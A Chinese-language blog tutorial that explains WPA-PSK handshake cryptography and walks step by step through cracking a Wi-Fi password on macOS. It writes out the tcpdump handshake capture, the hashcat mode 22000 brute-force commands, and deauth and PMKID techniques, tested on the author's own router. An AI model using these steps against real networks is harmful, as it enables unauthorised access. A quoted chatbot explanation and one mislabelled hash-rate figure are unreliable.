书接上回,WPA(Wi-Fi Protected Access)是一种用于保护Wi-Fi网络安全的认证和加密协议。它是在WEP协议的基础上进行改进而提出的。
WPA的设计目标是提供更强的安全性和抵御常见的攻击,以取代WEP的弱点。以下是WPA的主要特点和功能:
认证方式:WPA引入了更强大的认证方式,如预共享密钥(PSK)和802.1X/EAP(Extensible Authentication Protocol)。与WEP的简单密钥认证不同,WPA允许更复杂的认证机制,提供更好的身份验证和访问控制。不过在日常生活中,较为常用的方式是预共享密钥。
密钥管理:WEP使用静态密钥,所有设备共享同一个密钥,这容易受到字典攻击和暴力破解。WPA引入了动态密钥管理,使用TKIP(Temporal Key Integrity Protocol)生成每个数据包的唯一密钥,提供了更强的保密性和完整性。
加密算法:WEP使用RC4加密算法,它已经被证明存在许多安全漏洞。WPA采用了更强大的加密算法,如TKIP和AES(Advanced Encryption Standard),提供更高的加密强度和安全性。
动态密钥更新:WEP中的密钥是静态的,很少更改。WPA引入了动态密钥更新机制,通过四元组握手协议(4-way handshake)定期更换会话密钥,增加了网络的安全性。
报文完整性:WEP没有提供有效的报文完整性检查机制,使得数据包可能被篡改。WPA引入了Michael算法和报文完整性检查,可以检测和防止报文被修改。
在实际的破解中,WPA不存在类似WEP的“原理性致命缺陷”,只能被暴力破解。只要它的密钥设置得越复杂,破解的难度就越大。
注意,这里的暴力破解并不是像通常web渗透中,通过向服务端使用不同的密码进行正常请求,再通过返回来判断密码是否正确的在线破解。在实际操作中,在线破解WPA几乎是不可能的。
一开始这个说法我也无法接受,我还问了问chatgpt,它是这么回答的:
WPA之所以难以在线破解,是因为它使用了更强大的加密算法(如TKIP或AES)以及更复杂的密钥派生过程。这使得在实时网络通信中通过传统的暴力破解方法(逐个尝试密码)非常困难,因为需要处理的可能性太多,以至于破解密码所需的时间和计算资源都会非常庞大。
嗯~很有道理,再来做个实验验证一下。拿出手机,对一个未知Wi-Fi随便输入一个密码,大约需要2秒才会返回“无法加入网络”的提示。显然,这对于暴力破解来说是无法接受的。
那该如何破解WPA?
预共享密钥
预共享密钥模式(Pre-Shared Key, PSK)是目前Wi-Fi中最常见的安全认证模式,也被称为个人模式(Personal mode),在WPA和WPA2中均有使用。在预共享密钥模式下,所有设备使用相同的预先共享的密钥进行认证和加密通信。
以下是预共享密钥模式的一般工作流程:
设置网络:网络管理员在无线路由器或访问点上配置网络设置,包括网络名称(SSID)和预共享密钥(密码)。
连接设备:用户通过Wi-Fi设置界面在其设备上选择要连接的网络,并输入预共享密钥。
认证握手:设备将预共享密钥发送到无线路由器或访问点以进行认证。该过程使用了四元组握手(4-way handshake)协议,其中设备和路由器之间通过交换消息来验证其身份并生成会话密钥。
加密通信:一旦认证成功,设备和路由器之间的通信将使用会话密钥进行加密。会话密钥是使用预共享密钥生成的,用于保护数据的机密性。
其中四次握手认证(简略版,不包含GTK)如下图:
ANonce和SNonce分别代表AP和STA的Nonce,Nonce是指协议的任意指定用户只使用一次的随机数。
AP将ANonce发给STA,STA收到ANonce,再结合自己生成的SNonce计算PTK。
STA将SNonce和MIC发给AP,其中MIC基于PTK进行计算,用于消息的完整性校验。
AP收到SNonce,计算PTK,并对MIC做校验,如校验成功则返回MIC。
STA收到MIC校验正确即可装入PTK,并响应AP;AP在收到响应后也装入PTK。
其中,PTK的计算公式为:
PTK = PRF(PMK, “Pairwise key expansion”, Min(AP_MAC, STA_MAC) || Max(AP_MAC, STA_MAC) || Min(ANonce, SNonce) || Max(ANonce, SNonce))
其中,PRF(Pseudo-Random Function)是一个伪随机函数,“Pairwise key expansion"是一个固定字符串,"||“表示连接操作,Min()和Max()表示选择较小和较大的值。
在计算PTK时,首先要确定PMK,它在预共享密钥模式下的计算公式为:
PMK = PBKDF2(HMAC-SHA1, PSK, ssid, 4096, 256)
其中,PSK是预共享密钥(Wi-Fi密码),ssid是网络的服务集标识符(SSID),4096是迭代次数,256是派生密钥的位数。
而MIC的计算公式为:
MIC = HMAC-SHA1(KCK, AAD || Data)
其中KCK(Key Confirmation Key)是PTK的一部分,用于生成MIC;AAD(Additional Authentication Data)是附加的认证数据,通常包括帧控制字段和一些关键的数据帧头部字段;Data是要进行完整性校验的数据部分,通常是数据帧的有效载荷。
根据四次握手流程可知,MIC是可以被捕获的。而在这三个公式中,除了PSK外的所有参数,都可以通过捕获数据包或相互换算获取。所以只需要以只需要通过离线字典计算出与捕获到的MIC相同的MIC,即可反推出PSK,得到Wi-Fi密码。
在现实中破解WPA
由上文的分析中可以得出一个结论:破解WPA需要捕获STA与AP认证时的握手包。实际操作中,可以被动等待客户端与AP连接,或使用deauth攻击使客户端掉线重连。
破解Wi-Fi需要无线网卡支持监听模式。我的电脑是MacBook Pro 2021,电脑自带的网卡就支持监听模式,所以我打算在本机尝试破解WPA。
首先需要扫描附近的AP,由于airodump-ng在mac OS下不可用,我选择用系统自带的airport工具来扫描。
建立软连接,方便后续使用:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
扫描附近的AP,这里不用管理员权限的话会扫描不出BSSID:
sudo airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
ChinaNet-test xx:a1:51:62:92:xx -48 11 Y -- WPA(PSK/AES,TKIP/TKIP) RSN(PSK/AES,TKIP/TKIP)
得到目标AP的基本信息。
接着断开Wi-Fi连接:
sudo airport -z
由于频道是11,需要把频道切换到与AP相同的频道:
sudo airport -c11
从AP捕获信标帧,正常情况下这一步将很快完成:
sudo tcpdump "type mgt subtype beacon and ether src xx:a1:51:62:92:xx" -I -c 1 -i en0 -w beacon.cap
从AP捕获握手包,这一步需要有客户端正确与AP认证:
sudo tcpdump "ether proto 0x888e and ether host xx:a1:51:62:92:xx" -I -U -vvv -i en0 -w handshake.cap
将两个包合并:
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap
由于hashcat不能直接破解cap包,所以需要先把cap包转成hashcat支持的格式。
hashcat hcxpcapngtool - advanced password recovery在这个网站上传cap包,即可获得一个后缀名为hc22000的文件。
最后使用hashcat进行破解:
hashcat -m 22000 -a 3 something.hc22000 ?d?d?d?d?d?d?d?d
不过一步步手动输入有些麻烦,GitHub上有现成的破解脚本,[WiFiCrackPy](GitHub - phenotypic/WiFiCrackPy: Automated Wi-Fi cracker for macOS)
用家里的天翼网关做个实验吧!
Wi-Fi名称设置为test-psk
,安全选项选择WPA / WPA2 混合模式,Wi-Fi密码设置为81769501
。
运行WiFiCrackPy:
目标位号码为9,选择9
后脚本会开始自动抓取需要的握手包。此时需要客户端与AP产生认证,才能捕获所需要的握手包,进入下一步。可以注意到一开始我使用了-d
参数,它的作用是使用deauth进行攻击,强制客户端取消认证后重连,产生握手包。不过在实际实验中这个参数似乎并没有起作用,最终我是手动关闭Wi-Fi后再开启才抓到所需的数据包。
进入下一步:
选择暴力破解模式,参数为?d?d?d?d?d?d?d?d
,意思是八位数字,然后脚本会调用hashcat进行破解:
可以看到我的电脑暴力破解八位纯数字最多只需要17分钟左右。这是穷举所有八位数字所需要的时间,实际上我只用了2分多种就破解完毕了:
后续又有安全研究员发现了使用PMKID破解PSK的方法,该方法可以在无客户端连接的情况下进行破解。不过PMKID主要用于多个AP间的快速漫游,经常被使用在企业级无线网络环境中,而对家庭和小型办公网络则用处不大,因为这些环境中大多只有一台AP。
八位Wi-Fi密码之死…?
目前市面上的最强显卡,RTX4090,在hashcat mode 22000下的速度为:
-------------------------------------------------------------
* Hash-Mode 22000 (WPA-PBKDF2-PMKID+EAPOL) [Iterations: 4095]
-------------------------------------------------------------
Speed.#1.........: 2533.3 kH/s (50.73ms) @ Accel:128 Loops:1024 Thr:32 Vec:1
其中,2533.3 kH/s代表每秒尝试的密码哈希次数为2533.3万次。
不妨做一个简单的数学运算,破解一个八位纯数字密码所需要的时间为:
$$ 100000000/2533300≈ 39.47 (秒) $$
破解一个八位纯小写字母密码所需要的时间为:
$$ 208827064576/2533300/3600≈22.9(小时) $$
破解一个八位纯小写字母和数字组合的密码所需要的时间为:
$$ 2821109907456/2533300/3600≈309.27 (小时) $$
不知道大家日常有没有留意过运营商附赠的光猫?它一般都会自带Wi-Fi功能,初始密码大多为八位纯小写字母或八位纯小写字母和数字组合。这种类型的绝大多数光猫都在使用预共享密钥模式,而把光猫当作无线路由器用的人也不会有意识地修改初始密码。
在这种情况下,八位Wi-Fi密码的确是死了。
后记
前文的方法是我尝试了能找到的所有方法后选出的最优解,比起Windows还是麻烦太多了。
下面是一些踩过的坑(基于arm Mac):
airodump-ng、aireplay-ng:无法使用
bettercap:wifi.show命令无法使用
wifite2:无法使用
JamWiFi:无法使用
kismet:目前使用过最好的监听软件,但功能也只限于监听
zizzania:无法使用deauth
deauther:一个用nim写的deauth软件,运行报错,没弄明白咋解决
python:用Scapy写deauth脚本,跑起来没效果
其他数不胜数的小脚本,大多数都是以Aircrack-ng套件为基础的脚本
Mac是真的不适合用来破解Wi-Fi!!(一个小猜测,虽然Mac自带的网卡支持监听模式,但很可能不支持数据包注入。)
加更:
2023年10月,我找到了吃灰多年的TP-LINK的TL-WN722N,在Kali虚拟机中可以完美免驱使用,目前也没发现arm架构有不兼容的情况。能直接使用wifite2破解实在太丝滑啦!